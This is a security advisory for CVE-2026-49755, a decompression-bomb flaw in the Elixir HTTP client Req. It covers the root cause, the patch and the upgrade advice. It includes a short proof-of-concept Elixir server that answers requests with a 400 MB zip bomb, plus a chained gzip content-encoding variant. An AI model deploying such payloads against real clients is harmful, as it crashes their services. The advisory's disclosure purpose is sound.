highCVE-2026-49755Jul 29, 2026

CVE-2026-49755: Req Decompression Bomb via Auto-Decoded Response Bodies

Rohit Hatagale
AI Security Researcher, SecureLayer7

Req's default HTTP client pipeline automatically decompressed zip, tar, and gzip response bodies in memory with no size limit, letting an attacker-controlled server crash the BEAM VM with a single…

Packagereq
Ecosystemerlang
Affected>= 0.1.0, < 0.6.1
Fixed in0.6.1
CVE-2026-49755: Req Decompression Bomb via Auto-Decoded Response Bodies

The problem

Req.Steps.decode_body/1 dispatched on the server-supplied content-type and called Erlang archive libraries with the :memory flag, materialising every decompressed entry fully in RAM. Affected types were application/zip, application/x-tar, application/gzip, .tgz, .gz, .zst, and text/csv, all decoded by default.

Req.Steps.decompress_body/1 chained content-encoding decoders (:zlib, :brotli, :ezstd) without any output size cap. A response advertising content-encoding: gzip, gzip, gzip would inflate through multiple layers in sequence, with no per-pass limit.

Both steps ran in the default pipeline. No caller opt-in was needed. Any Req.get!/1 call that could reach or redirect to an attacker host was exposed.

Proof of concept

A working proof-of-concept for CVE-2026-49755 in req, with the exact payload below.

elixir
# Attacker HTTP server (Elixir/Plug, simplified)
# Responds with a zip bomb: ~400 MB of zero bytes compressed to ~300 KB on the wire.

def call(conn, _opts) do
  # Build a zip bomb entry: 400 MB of zero bytes
  bomb_bytes = :binary.copy(<<0>>, 400 * 1024 * 1024)
  {:ok, {_zip_name, zip_body}} =
    :zip.create("bomb.zip", [{~c"bomb.bin", bomb_bytes}], [:memory])

  conn
  |> Plug.Conn.put_resp_content_type("application/zip")
  |> Plug.Conn.send_resp(200, zip_body)
end

# Victim process (default Req pipeline, no special options)
Req.get!(attacker_url)
# => response.body is [{~c"bomb.bin", <<400 MB of zeros>>}] — BEAM OOM

# Content-encoding chaining variant (no archive needed):
# Server sets: content-encoding: gzip, gzip, gzip
# Each pass inflates without bound through decompress_body/1.

The root cause is CWE-409: no decompressed-size limit was passed to :zip.extract/2 or :erl_tar.extract/2, and no ratio check gated the zlib chain in decompress_body/1. Because content-type and content-encoding are fully attacker-controlled on their own server (or on any host reached via Req's redirect following), the attacker picks exactly which decoder fires.

The patch (commit 84977e5b) removed all automatic archive and compression decoding from the default pipeline. Zip, tar, gzip, zst, and csv decoding were dropped from the default decoders list. Only JSON is decoded by default now. Archive decoding is available only via the explicit decoders: [:zip] opt-in, which requires the caller to consciously trust the endpoint.

The fix

Upgrade to req 0.6.1 or later. The patched version removes automatic zip/tar/gz/zst/csv decoding from the default pipeline. If you still need archive decoding for a trusted endpoint, opt in explicitly: Req.get!(url, decoders: [:json, :zip]). Never pass untrusted or redirect-reachable URLs with archive decoders enabled.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research